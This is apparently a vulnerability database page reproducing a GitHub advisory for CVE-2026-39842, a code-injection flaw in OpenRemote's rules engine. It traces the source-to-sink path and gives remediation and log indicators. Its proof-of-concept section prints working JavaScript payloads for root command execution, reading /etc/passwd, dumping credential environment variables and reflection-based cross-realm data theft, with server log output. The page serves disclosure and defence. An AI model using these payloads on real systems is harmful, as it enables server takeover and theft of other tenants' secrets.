Skip to main content

Docker CVE-2026-39842

CRITICAL
Code Injection (CWE-94)
2026-04-14 https://github.com/openremote/openremote GHSA-7mqr-33rv-p3mp
9.9
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
9.9 CRITICAL
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

6
Re-analysis Queued
Apr 17, 2026 - 15:52 vuln.today
cvss_changed
CVSS changed
Apr 17, 2026 - 15:52 NVD
10.0 (CRITICAL) 9.9 (CRITICAL)
Patch released
Apr 15, 2026 - 02:30 nvd
Patch available
Analysis Generated
Apr 15, 2026 - 01:09 vuln.today
Analysis Generated
Apr 14, 2026 - 22:46 vuln.today
CVE Published
Apr 14, 2026 - 22:31 nvd
CRITICAL 9.9

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 3 maven packages depend on io.openremote:openremote-manager (3 direct, 0 indirect)

Ecosystem-wide dependent count for version 1.22.0.

DescriptionGitHub Advisory

Summary

The OpenRemote IoT platform's rules engine contains two interrelated critical expression injection vulnerabilities that allow an attacker to execute arbitrary code on the server, ultimately achieving full server compromise.

  • Unsandboxed Nashorn JavaScript Engine: JavaScript rules are executed via Nashorn's ScriptEngine.eval() with user-supplied script content and no sandboxing, class filtering, or access restrictions. Critically, any non-superuser with the write:rules role can create JavaScript rulesets.
  • Inactive Groovy Sandbox: The Groovy rules engine has a GroovyDenyAllFilter security filter that is defined but never registered (the registration code is commented out), rendering the SandboxTransformer ineffective. While Groovy rules are restricted to superusers, the absence of sandboxing violates the principle of defense in depth.

Details

Attacker-Controllable Source-to-Sink Paths

There are two non-superuser and two superuser exploitable attack paths from the REST API entry point to final code execution. (JavaScript × Realm/Asset + Groovy × Realm/Asset) The most critical path is detailed below.

Path 1: Unsandboxed JavaScript Expression Injection via Realm Ruleset (Non-Superuser Exploitable)

RulesetDeployment.java L368:

java
Object result = scriptEngine.eval(script, engineScope);

The Nashorn JavaScript engine is initialized without a ClassFilter, allowing Java.type() to access any JVM class - including java.lang.Runtime (for RCE), java.io.FileReader (for file read), and java.lang.System (for env theft).

RulesResourceImpl.java L309 (and L331, L359, L412, L437):

java
// VULNERABLE: only restricts Groovy, JavaScript completely unrestricted
if (ruleset.getLang() == Ruleset.Lang.GROOVY && !isSuperUser()) {
    throw new WebApplicationException(Response.Status.FORBIDDEN);
}

Non-superuser attackers with only the write:rules role can submit arbitrary JavaScript rules that execute with full JVM access.

┌─────────────────────────────────────────────────────────────────────────────────────────┐
│                          SOURCE → SINK Complete Data Flow                                │
├─────────────────────────────────────────────────────────────────────────────────────────┤
│                                                                                         │
│  ① HTTP REQUEST (Source / Entry Point)                                                   │
│  POST /api/{realm}/rules/realm                                                          │
│  Content-Type: application/json                                                         │
│  Body: { "type":"realm", "lang":"JAVASCRIPT",                                           │
│          "rules":"<MALICIOUS_SCRIPT>", ... }     ← Attacker-controlled malicious script  │
│                                                                                         │
│                              ↓ JAX-RS Deserialization                                    │
│                                                                                         │
│  ② RulesResource.createRealmRuleset()                                                   │
│     model/.../rules/RulesResource.java:153-158                                          │
│     @POST @Path("realm") @RolesAllowed("write:rules")                                   │
│     Interface: long createRealmRuleset(RequestParams, @Valid RealmRuleset ruleset)       │
│     JSON body → RealmRuleset object (Jackson deserialization)                            │
│     RealmRuleset.rules field ← attacker's malicious script content                      │
│     RealmRuleset.lang  field ← "JAVASCRIPT"                                             │
│                                                                                         │
│                              ↓ Calls implementation                                      │
│                                                                                         │
│  ③ RulesResourceImpl.createRealmRuleset()  ← ⚠️ Authorization flaw here                 │
│     manager/.../rules/RulesResourceImpl.java:250-267                                    │
│     - L255: isRealmActiveAndAccessible(realm) - checks realm accessible ✓                │
│     - L255: isRestrictedUser() - restricted users blocked ✓                              │
│     - L262: if (ruleset.getLang() == Ruleset.Lang.GROOVY && !isSuperUser())              │
│       → Only blocks GROOVY for non-superusers ✓                                          │
│     - ⚠️ NO check for Lang.JAVASCRIPT! JavaScript rules pass through unrestricted ⚠️    │
│     - L265: ruleset = rulesetStorageService.merge(ruleset)                              │
│       → Passes the RealmRuleset (with malicious script) to persistence layer            │
│                                                                                         │
│                              ↓ JPA Persistence                                           │
│                                                                                         │
│  ④ RulesetStorageService.merge()                                                        │
│     manager/.../rules/RulesetStorageService.java:155-159                                │
│     - L157: entityManager.merge(ruleset)                                                │
│       → Persists RealmRuleset entity (with rules and lang fields) to REALM_RULESET table│
│     - After JPA transaction commit, Hibernate event listener is triggered               │
│                                                                                         │
│                              ↓ Hibernate Event → Camel Message                           │
│                                                                                         │
│  ⑤ Hibernate Interceptor → PersistenceService Event Publishing                          │
│     container/.../persistence/PersistenceEventInterceptor.java:51-62, 102-119           │
│     - L55-56: new PersistenceEvent<>(CREATE, entity, propertyNames, state)              │
│       → Hibernate Interceptor captures the JPA entity persist event                     │
│     - L102-119: afterTransactionBegin() registers Synchronization callback;             │
│       afterCompletion() calls eventConsumer.accept(persistenceEvent) (L114)             │
│     container/.../persistence/PersistenceService.java:596-607                           │
│     - PersistenceService implements Consumer<PersistenceEvent<?>> (L84)                 │
│     - L596-606: accept() publishes event to Camel SEDA topic:                           │
│       producerTemplate.withBody(persistenceEvent)                                       │
│       .withHeader(HEADER_ENTITY_TYPE, entity.getClass())                                │
│       .to(PERSISTENCE_TOPIC).asyncSend()                                                │
│     - PERSISTENCE_TOPIC = "seda://PersistenceTopic?multipleConsumers=true&..."           │
│       (PersistenceService.java:209-210)                                                 │
│                                                                                         │
│                              ↓ Camel Route Consumption                                   │
│                                                                                         │
│  ⑥ RulesService.configure() - Camel Route Processor                                     │
│     manager/.../rules/RulesService.java:228-235                                         │
│     - L228: from(PERSISTENCE_TOPIC)                                                     │
│     - L230: .filter(isPersistenceEventForEntityType(Ruleset.class))                     │
│       → Filters for Ruleset-type events only                                             │
│     - L232-234: .process(exchange -> {                                                  │
│         PersistenceEvent<?> pe = exchange.getIn().getBody(PersistenceEvent.class);       │
│         processRulesetChange((Ruleset) pe.getEntity(), pe.getCause());                  │
│       })                                                                                │
│       → Extracts RealmRuleset entity from event and dispatches to change handler        │
│                                                                                         │
│                              ↓                                                           │
│                                                                                         │
│  ⑦ RulesService.processRulesetChange()                                                  │
│     manager/.../rules/RulesService.java:503-531                                         │
│     - L504: cause == CREATE (not DELETE), ruleset.isEnabled() == true                   │
│       → Enters the deployment branch (else block)                                       │
│     - L518: ruleset instanceof RealmRuleset → takes realm branch                        │
│     - L520: RulesEngine<RealmRuleset> engine =                                          │
│             deployRealmRuleset((RealmRuleset) ruleset)                                   │
│     - L521: engine.start()                                                              │
│                                                                                         │
│                              ↓                                                           │
│                                                                                         │
│  ⑧ RulesService.deployRealmRuleset()                                                    │
│     manager/.../rules/RulesService.java:589-625                                         │
│     - L591: Gets existing engine from realmEngines Map or creates new one               │
│     - L594-613: If new engine: new RulesEngine<>(...), stores in realmEngines           │
│     - (via addRuleset): engine.addRuleset(ruleset)                                      │
│       → Passes RealmRuleset to engine for deployment                                    │
│                                                                                         │
│                              ↓                                                           │
│                                                                                         │
│  ⑨ RulesEngine.addRuleset()                                                             │
│     manager/.../rules/RulesEngine.java:252-273                                          │
│     - L264: deployment = new RulesetDeployment(ruleset, this, timerService,             │
│             assetStorageService, executorService, scheduledExecutorService,              │
│             assetsFacade, usersFacade, notificationFacade, webhooksFacade,               │
│             alarmsFacade, historicFacade, predictedFacade)                               │
│       → Creates deployment object wrapping the Ruleset (with malicious script)          │
│     - L265: deployment.init()                                                           │
│       → Triggers compilation and initialization                                         │
│                                                                                         │
│                              ↓                                                           │
│                                                                                         │
│  ⑩ RulesetDeployment.init()                                                             │
│     manager/.../rules/RulesetDeployment.java:132-158                                    │
│     - L143: TextUtil.isNullOrEmpty(ruleset.getRules()) → false, script is non-empty     │
│     - L149: ruleset.isEnabled() → true                                                  │
│     - L154: if (!compile()) → calls compile()                                           │
│                                                                                         │
│                              ↓                                                           │
│                                                                                         │
│  ⑪ RulesetDeployment.compile()                                                          │
│     manager/.../rules/RulesetDeployment.java:211-228                                    │
│     - L217: switch (ruleset.getLang()) {                                                │
│     - L218:   case JAVASCRIPT:  ← lang field is JAVASCRIPT                              │
│     - L219:     return compileRulesJavascript(ruleset, assetsFacade,                    │
│                   usersFacade, notificationsFacade, historicDatapointsFacade,            │
│                   predictedDatapointsFacade);                                           │
│                                                                                         │
│                              ↓                                                           │
│                                                                                         │
│  ⑫ RulesetDeployment.compileRulesJavascript()  ← SINK (Code Execution Point)        │
│     manager/.../rules/RulesetDeployment.java:306-378                                    │
│                                                                                         │
│     - L307: // TODO https://github.com/pfisterer/scripting-sandbox/...                  │
│       ↑ Sandbox was NEVER implemented (only a TODO comment)                             │
│                                                                                         │
│     - L308: ScriptEngine scriptEngine =                                                 │
│             scriptEngineManager.getEngineByName("nashorn");                              │
│       ↑ Uses Nashorn 15.7 (gradle.properties:59)                                        │
│       ↑ Obtained via ScriptEngineManager - NO ClassFilter applied                       │
│       ↑ Attacker can access ANY Java class via Java.type()                              │
│                                                                                         │
│     - L309-311: Creates ScriptContext and Bindings                                      │
│     - L312-317: Binds internal service objects to engineScope:                          │
│         "LOG" → Logger, "assets" → Assets facade,                                       │
│         "users" → Users facade, "notifications" → Notifications facade                  │
│                                                                                         │
│     - L319: String script = ruleset.getRules();                                         │
│       ↑↑↑ DIRECTLY reads the attacker's malicious script content ↑↑↑                    │
│       ↑↑↑ This is the exact same value from the HTTP Body "rules" field ↑↑↑             │
│       ↑↑↑ passed through step ① with NO sanitization whatsoever ↑↑↑                     │
│                                                                                         │
│     - L322-365: Auto-prepends Java interop prefix:                                      │
│         load("nashorn:mozilla_compat.js")  → provides importPackage()                   │
│         importPackage("java.util.stream", ...)  → auto-imports Java packages            │
│         var Match = Java.type("...AssetQuery$Match")  → pre-registers Java.type()       │
│         ... (12 active Java.type references; 1 commented out)                           │
│       ↑ These prefixes further lower the attack barrier                                 │
│                                                                                         │
│     - L365: + script;                                                                   │
│       ↑ Attacker script appended directly (string concatenation, no checks)             │
│                                                                                         │
│     - L368: scriptEngine.eval(script, engineScope);                                     │
│       ↑↑↑ !!! FINAL SINK - The script string containing attacker's                  │
│       ↑↑↑ malicious code is DIRECTLY EXECUTED by Nashorn ScriptEngine                   │
│       ↑↑↑ Attacker uses Java.type('java.lang.Runtime') etc. to invoke                  │
│       ↑↑↑ arbitrary Java class methods, achieving Remote Code Execution (RCE)           │
│                                                                                         │
└─────────────────────────────────────────────────────────────────────────────────────────┘

Path 2: JavaScript Expression Injection via Asset Ruleset (Non-Superuser Exploitable)

Same data flow as Path 1. Differences only in the first three steps:

StepDifference
① SourcePOST /api/{realm}/rules/asset, body includes "assetId":"xxx"
② EntryRulesResource.createAssetRuleset() - RulesResource.java:200-206
③ Auth FlawRulesResourceImpl.createAssetRuleset() - RulesResourceImpl.java:341-365: L350 checks realm accessible, L353 checks restricted user's asset link, L359 only blocks GROOVY, JAVASCRIPT unrestricted. L363 rulesetStorageService.merge(ruleset)
Sink Code Analysis

Sink 1: compileRulesJavascript() - Lines 306-378

java
// RulesetDeployment.java L306-378
protected boolean compileRulesJavascript(Ruleset ruleset, ...) {
    // L307: TODO indicates sandbox was NEVER implemented
    // L308: Gets Nashorn engine via ScriptEngineManager - NO ClassFilter
    ScriptEngine scriptEngine = scriptEngineManager.getEngineByName("nashorn");

    // L312-317: Binds internal service objects
    engineScope.put("LOG", LOG);
    engineScope.put("assets", assetsFacade);

    // L319: DIRECTLY reads attacker's script content
    String script = ruleset.getRules();

    // L322-365: Prepends Java interop imports (lowers attack barrier)
    script = "load(\"nashorn:mozilla_compat.js\");\n" + ... + script;

    // L368: SINK - Executes the malicious script!
    scriptEngine.eval(script, engineScope);
}

Why missing ClassFilter is fatal: The Nashorn engine provides a ClassFilter interface to restrict which Java classes scripts can access. The current code uses scriptEngineManager.getEngineByName("nashorn") (L308) which applies no ClassFilter, so the attacker can access any Java class via Java.type().

Sink 2: compileRulesGroovy() - Lines 449-485

java
// RulesetDeployment.java L449-485
protected boolean compileRulesGroovy(Ruleset ruleset, ...) {
    // L451-452: Sandbox code COMMENTED OUT
    // TODO Implement sandbox
    // new DenyAll().register();   ← COMMENTED OUT!

    // L453: Parses attacker's Groovy script
    Script script = groovyShell.parse(ruleset.getRules());

    // L473: SINK - Directly executes Groovy script
    script.run();
}

Why SandboxTransformer is ineffective: The GroovyShell uses SandboxTransformer (L79-81) for AST transformation, but this transformer relies on registered GroovyInterceptor instances at runtime. Since new DenyAll().register() is commented out (L452), no interceptor is registered, making SandboxTransformer a no-op.

Path 3: Groovy Expression Injection via Realm Ruleset (Superuser Only)

┌─────────────────────────────────────────────────────────────────────────────────────────┐
│                          SOURCE → SINK Complete Data Flow (Groovy)                       │
├─────────────────────────────────────────────────────────────────────────────────────────┤
│                                                                                         │
│  ① HTTP POST /api/{realm}/rules/realm                                                   │
│     Body: { "type":"realm", "lang":"GROOVY",                                            │
│             "rules":"<MALICIOUS_GROOVY>", ... }                                         │
│     Requires superuser privileges                                                       │
│                                                                                         │
│  ② RulesResource.createRealmRuleset()  - RulesResource.java:153-158                    │
│                                                                                         │
│  ③ RulesResourceImpl.createRealmRuleset() - RulesResourceImpl.java:250-267             │
│     - L262: if (lang == GROOVY && !isSuperUser()) → superuser passes ✓                  │
│     - L265: rulesetStorageService.merge(ruleset)                                        │
│                                                                                         │
│  ④-⑩ Same as Path 1 steps ④-⑩                                                          │
│                                                                                         │
│  ⑪ RulesetDeployment.compile()  - RulesetDeployment.java:211-228                       │
│     - L220: case GROOVY → compileRulesGroovy(ruleset, ...)                              │
│                                                                                         │
│  ⑫ RulesetDeployment.compileRulesGroovy()  ← SINK                                   │
│     manager/.../rules/RulesetDeployment.java:449-485                                    │
│     - L451: // TODO Implement sandbox  ← Sandbox NEVER implemented                      │
│     - L452: // new DenyAll().register()  ← Security filter COMMENTED OUT!            │
│     - L453: Script script = groovyShell.parse(ruleset.getRules())                       │
│       ↑ groovyShell uses SandboxTransformer (L79-81)                                    │
│       ↑ But no GroovyInterceptor registered → SandboxTransformer is ineffective         │
│       ↑ ruleset.getRules() directly reads attacker's malicious Groovy script            │
│     - L454-462: Creates Binding, binds internal service objects                         │
│     - L472: script.setBinding(binding)                                                  │
│     - L473: script.run()                                                                │
│       ↑↑↑ FINAL SINK - Groovy script executed directly, no sandbox ↑↑↑              │
│                                                                                         │
└─────────────────────────────────────────────────────────────────────────────────────────┘

Path 4: Groovy Expression Injection via Asset Ruleset (Superuser Only)

Same as Path 3; first three steps differ as in Path 2.

PoC

Test Environment
ComponentDetails
Host OSmacOS Darwin 25.1.0
DockerDocker Compose with official OpenRemote images
OpenRemoteopenremote/manager:latest (v1.20.2)
Keycloakopenremote/keycloak:latest
PostgreSQLopenremote/postgresql:latest-slim
Target URLhttps://localhost
Multi-Tenant Test Topology
┌─────────────────────────────────────────────────────────┐
│                  OpenRemote Platform                    │
│                                                         │
│  ┌─────────────────┐       ┌─────────────────┐         │
│  │   Realm A        │       │   Realm B        │         │
│  │   (Attacker)     │       │   (Victim)       │         │
│  │                  │       │                  │         │
│  │  User: attacker  │  ──X──│  SecretSensorB   │         │
│  │  Roles:          │ API   │    secretData    │         │
│  │   write:rules    │blocked│    apiKey        │         │
│  │   read:assets    │       │    password      │         │
│  │  NOT superuser   │       │                  │         │
│  └─────────────────┘       └─────────────────┘         │
│                                                         │
│  API isolation: Realm A user CANNOT access Realm B      │
│  via normal REST API (HTTP 401)                         │
│                                                         │
│  Exploit: Realm A user creates JavaScript rule that     │
│  executes arbitrary code on the SERVER, bypassing all   │
│  tenant isolation                                       │
└─────────────────────────────────────────────────────────┘
Deployment

OpenRemote was started using the project's official docker-compose.yml:

cd /path/to/openremote-openremote
docker compose up -d

Containers running:

<img width="1430" height="136" alt="截屏2026-03-27 14 50 10" src="https://github.com/user-attachments/assets/8291181b-56a3-4fc6-a7d3-77ab276b6d6c" />

Reproduction Steps & Evidence
Step 0: Obtain Admin Tokens
KC admin-cli token: eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6IC...
[OK] Direct access grants for 'master': HTTP 204
OR admin token:     eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6IC...
API health check: HTTP 200, version=1.20.2
Step 1: Setup Multi-Tenant Environment

Created Realm B (victim) with sensitive assets, and Realm A (attacker) with a non-superuser.

Create realm 'realmb': HTTP 409     (already exists from prior run - OK)
[OK] Direct access grants for 'realmb': HTTP 204
Create victim asset in realmb: HTTP 200, ID=4cddi4ncR9w7RHRbVzVZfq
Planted sensitive data in Realm B:
  secretData       = 'REALM_B_CONFIDENTIAL_DATA_67890'
  apiKey           = 'sk-realmB-api-key-very-secret'
  internalPassword = 'P@ssw0rd_Internal_2024'

Create realm 'realma': HTTP 409
[OK] Direct access grants for 'realma': HTTP 204
[OK] User 'attacker' in 'realma', ID: 0d137364-b538-45d2-b3b3-33f57d97b9f5
[OK] Roles assigned: ['read:rules', 'write:assets', 'read:assets', 'write:rules']

Key point: The attacker user has write:rules role but is NOT a superuser.

Step 2: Verify Tenant Isolation Works via Normal API
Attacker token: eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6IC...

[TEST] Normal API: GET /api/realmb/asset (attacker token)
Result: HTTP 401
>> Cross-realm API access BLOCKED (expected) - tenant isolation works via API

Conclusion: The REST API correctly blocks Realm A users from accessing Realm B assets. The vulnerability is NOT in the API layer but in the rules engine execution.

Step 3: Launch the attack.
  • ATTACK 1 - Remote Code Execution (RCE)

Payload sent (via POST /api/realma/rules/realm with attacker token):

var Runtime = Java.type("java.lang.Runtime");
var Scanner = Java.type("java.util.Scanner");
var cmd = Java.to(["sh", "-c", "id && hostname && uname -a"], "java.lang.String[]");
var proc = Runtime.getRuntime().exec(cmd);
proc.waitFor();
var s = new Scanner(proc.getInputStream()).useDelimiter("\\A");
var output = s.hasNext() ? s.next() : "(empty)";
LOG.info("[EXPLOIT-RCE] Command output: " + output);
var rules = [];

API response: HTTP 200 (rule accepted and deployed)

Server log evidence (captured from docker compose logs manager):

2026-03-27T07:17:24.833Z [EXPLOIT-RCE] === REMOTE CODE EXECUTION ===
2026-03-27T07:17:24.838Z [EXPLOIT-RCE] --- RCE OUTPUT ---
2026-03-27T07:17:24.838Z [EXPLOIT-RCE] uid=0(root) gid=0(root) groups=0(root)

Impact: The attacker's JavaScript rule executed id on the server and confirmed the process runs as root (uid=0). The attacker can execute any OS command with root privileges.

  • ATTACK 2 - Arbitrary File Read (/etc/passwd)

Payload:

var Files = Java.type("java.nio.file.Files");
var Paths = Java.type("java.nio.file.Paths");
var lines = Files.readAllLines(Paths.get("/etc/passwd"));
LOG.info("[EXPLOIT-FILE] /etc/passwd has " + lines.size() + " lines:");
for (var i = 0; i < lines.size(); i++) {
  LOG.info("[EXPLOIT-FILE]   " + lines.get(i));
}
var rules = [];

API response: HTTP 200 Server log evidence:

  • ATTACK 3 - Environment Variable Theft (Database Credentials)

Payload:

javascript
var System = Java.type("java.lang.System");
var env = System.getenv();
LOG.info("[EXPLOIT-ENV] === ENVIRONMENT VARIABLE THEFT ===");
var keys = ["OR_DB_HOST","OR_DB_PORT","OR_DB_NAME","OR_DB_USER","OR_DB_PASSWORD",
            "KEYCLOAK_ADMIN_PASSWORD","OR_ADMIN_PASSWORD","OR_HOSTNAME","JAVA_HOME"];
for (var i = 0; i < keys.length; i++) {
  var v = env.get(keys[i]);
  if (v != null) LOG.info("[EXPLOIT-ENV] " + keys[i] + " = " + v);
}
var rules = [];

API response: HTTP 200

Server log evidence (key variables extracted):

2026-03-27T07:17:45.069Z [EXPLOIT-ENV] OR_DB_HOST = postgresql
2026-03-27T07:17:45.069Z [EXPLOIT-ENV] OR_DB_PORT = 5432
2026-03-27T07:17:45.069Z [EXPLOIT-ENV] OR_DB_NAME = openremote
2026-03-27T07:17:45.070Z [EXPLOIT-ENV] OR_DB_USER = postgres
2026-03-27T07:17:45.070Z [EXPLOIT-ENV] OR_HOSTNAME = localhost
2026-03-27T07:17:45.070Z [EXPLOIT-ENV] JAVA_HOME = /usr/lib/jvm/jre
2026-03-27T07:17:45.087Z [EXPLOIT-ENV] OR_KEYCLOAK_HOST = keycloak
2026-03-27T07:17:45.087Z [EXPLOIT-ENV] OR_KEYCLOAK_PORT = 8080
2026-03-27T07:17:45.087Z [EXPLOIT-ENV] OR_STORAGE_DIR = /storage
2026-03-27T07:17:45.087Z [EXPLOIT-ENV] OR_WEBSERVER_LISTEN_HOST = 0.0.0.0
2026-03-27T07:17:45.088Z [EXPLOIT-ENV] OR_DB_POOL_MAX_SIZE = 20
2026-03-27T07:17:45.088Z [EXPLOIT-ENV] OR_DEV_MODE = false
2026-03-27T07:17:45.086Z [EXPLOIT-ENV] OR_FIREBASE_CONFIG_FILE = /deployment/manager/fcm.json
2026-03-27T07:17:45.086Z [EXPLOIT-ENV] OR_EMAIL_PORT = 587

Impact: Database connection details, internal hostnames, Keycloak configuration, and more are fully exposed. An attacker could use these to directly connect to the PostgreSQL database or attack other internal services.

---

  • ATTACK 4 - Cross-Realm Data Theft (Bypass Multi-Tenant Isolation)

This is the most critical attack: a user in Realm A steals all data from Realm B by bypassing the AssetsFacade realm enforcement via Java reflection.

Attack mechanism:

  1. The assets object bound into JavaScript is an AssetsFacade instance
  2. AssetsFacade.getResults() enforces realm isolation by overwriting assetQuery.realm
  3. The attacker uses Java reflection to extract the internal assetStorageService field
  4. Calls assetStorageService.findAll() directly, bypassing realm restriction AND excludeAttributes()

Payload:

javascript
// Extract internal AssetStorageService via reflection
var facadeObj = assets;
var clazz = facadeObj.getClass();
var storageField = clazz.getDeclaredField("assetStorageService");
storageField.setAccessible(true);
var storageService = storageField.get(facadeObj);

// Query Realm B directly - bypassing facade realm enforcement
var AssetQuery = Java.type("org.openremote.model.query.AssetQuery");
var RealmPredicate = Java.type("org.openremote.model.query.filter.RealmPredicate");
var q = new AssetQuery();
q.realm = new RealmPredicate("realmb");
var stolenAssets = storageService.findAll(q);
// Iterate and dump all attribute values...
var rules = [];

API response: HTTP 200

Server log evidence - Stolen data from Realm B:

2026-03-27T07:17:55.151Z [EXPLOIT-XREALM] === CROSS-REALM DATA THEFT ===
2026-03-27T07:17:55.151Z [EXPLOIT-XREALM] Attacker realm: realma
2026-03-27T07:17:55.151Z [EXPLOIT-XREALM] Target realm:   realmb
2026-03-27T07:17:55.162Z [EXPLOIT-XREALM] Facade class: org.openremote.manager.rules.facade.AssetsFacade
2026-03-27T07:17:55.190Z [EXPLOIT-XREALM] Got AssetStorageService: org.openremote.manager.asset.AssetStorageService
2026-03-27T07:17:55.199Z [EXPLOIT-XREALM] Found 2 assets in realm 'realmb'
2026-03-27T07:17:55.207Z [EXPLOIT-XREALM] STOLEN Asset: name=SecretSensorB, id=3eZKswGIALiGAqeEPdnH3t, type=ThingAsset
2026-03-27T07:17:55.228Z [EXPLOIT-XREALM]   STOLEN ATTR: notes = Internal sensor - classified
2026-03-27T07:17:55.229Z [EXPLOIT-XREALM]   STOLEN ATTR: apiKey = sk-realmB-api-key-very-secret
2026-03-27T07:17:55.230Z [EXPLOIT-XREALM]   STOLEN ATTR: location = GeoJSONPoint{coordinates=5.46, 51.44, NaN}
2026-03-27T07:17:55.230Z [EXPLOIT-XREALM]   STOLEN ATTR: internalPassword = P@ssw0rd_Internal_2024
2026-03-27T07:17:55.230Z [EXPLOIT-XREALM]   STOLEN ATTR: secretData = REALM_B_CONFIDENTIAL_DATA_67890

Cross-realm enumeration - all assets across all realms:

2026-03-27T07:17:55.236Z [EXPLOIT-XREALM] Total assets across ALL realms: 5
2026-03-27T07:17:55.236Z [EXPLOIT-XREALM] ALL-REALM Asset: realm=master, name=TestAsset, id=5pVko8DN...
2026-03-27T07:17:55.236Z [EXPLOIT-XREALM] ALL-REALM Asset: realm=master, name=TestAsset, id=4zfyoaiL...
2026-03-27T07:17:55.236Z [EXPLOIT-XREALM] ALL-REALM Asset: realm=master, name=TestMasterAsset, id=3vqFI9kI...
2026-03-27T07:17:55.237Z [EXPLOIT-XREALM] ALL-REALM Asset: realm=realmb, name=SecretSensorB, id=3eZKswGI...
2026-03-27T07:17:55.237Z [EXPLOIT-XREALM] ALL-REALM Asset: realm=realmb, name=SecretSensorB, id=4cddi4nc...

Impact: Complete multi-tenant isolation bypass. Realm A's non-superuser successfully:

  • Extracted all sensitive attribute values from Realm B (API keys, passwords, confidential data)
  • Enumerated all assets across ALL realms including the master realm
  • Bypassed both the realm restriction AND the excludeAttributes() protection in AssetsFacade

---

  • Authorization Bypass Verification

The same attacker user attempted to create a Groovy rule (which is correctly restricted to superusers):

Create Groovy rule (same attacker): HTTP 403
>> Groovy rule REJECTED (HTTP 403) - as expected for non-superuser
>> BUT all JavaScript rules were ACCEPTED (HTTP 200) - THIS IS THE VULNERABILITY!

Root cause in source code (RulesResourceImpl.java:262):

java
// Only blocks Groovy for non-superusers - JavaScript is UNRESTRICTED
if (ruleset.getLang() == Ruleset.Lang.GROOVY && !isSuperUser()) {
    throw new ForbiddenException("Forbidden");
}
// No check for Lang.JAVASCRIPT!

Impact

Remote code execution.

AnalysisAI

Remote code execution as root in OpenRemote IoT platform's rules engine (versions prior to 1.20.3) allows authenticated non-superuser attackers with write:rules role to execute arbitrary Java code via unsandboxed JavaScript rulesets. The vulnerability stems from Nashorn ScriptEngine.eval() executing user-supplied JavaScript without ClassFilter restrictions, enabling Java.type() access to any JVM class including java.lang.Runtime. Attackers can compromise the entire multi-tenant platform, steal c

Technical ContextAI

OpenRemote's rules engine (manager component, io.openremote:openremote-manager Maven package) uses two scripting backends: Nashorn JavaScript engine and Groovy. The JavaScript path initializes ScriptEngine via ScriptEngineManager.getEngineByName("nashorn") without applying a ClassFilter, allowing scripts to invoke Java.type() and access arbitrary JVM classes. User-supplied ruleset content flows from REST API (RulesResource.createRealmRuleset) through JPA persistence, Hibernate event interception, Camel SEDA messaging, into RulesetDeployment.compileRulesJavascript() where scriptEngine.eval(script) executes attacker-controlled code at line 368. The Groovy path suffers from an inactive GroovyDenyAllFilter (registration code commented out at line 452), rendering SandboxTransformer ineffective. Authorization checks only block Groovy for non-superusers (RulesResourceImpl.java:262) but omit checks for JavaScript, creating CWE-94 (code injection) via missing input validation. The platform runs containerized as root (uid=0) per PoC evidence, amplifying impact. Realm isolation relies on AssetsFacade.getResults() enforcing assetQuery.realm, but attackers use Java reflection to extract internal AssetStorageService and bypass tenant boundaries.

RemediationAI

Upgrade to OpenRemote manager version 1.20.3 or later, which implements ClassFilter restrictions on Nashorn ScriptEngine and activates GroovyDenyAllFilter registration to enforce sandboxing. Apply the fix by updating the openremote/manager Docker image tag in docker-compose.yml to the patched release and redeploying containers. For organizations unable to immediately upgrade, implement a workaround by restricting the write:rules role to superuser accounts only via Keycloak realm role mappings, effectively eliminating non-superuser access to ruleset creation endpoints. Review existing JavaScript and Groovy rulesets for suspicious Java.type(), Runtime.getRuntime(), or reflection usage and delete unauthorized rules. Audit application logs for exploitation indicators including LOG entries with [EXPLOIT-RCE], [EXPLOIT-FILE], [EXPLOIT-ENV], or [EXPLOIT-XREALM] prefixes as demonstrated in the PoC. Rotate all exposed credentials including OR_DB_PASSWORD, KEYCLOAK_ADMIN_PASSWORD, and realm-specific API keys stored in asset attributes. Vendor advisory and patch details: https://github.com/openremote/openremote/security/advisories/GHSA-7mqr-33rv-p3mp.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

CVE-2025-34221 CRITICAL POC
10.0 Sep 29

Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2

CVE-2024-23054 CRITICAL POC
9.8 Feb 05

An issue in Plone Docker Official Image 5.2.13 (5221) open-source software that could allow for remote code execution du

CVE-2026-53576 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution in Kestra orchestration platform before 1.0.45 and 1.3.21 lets anonymous attackers

Share

CVE-2026-39842 vulnerability details – vuln.today

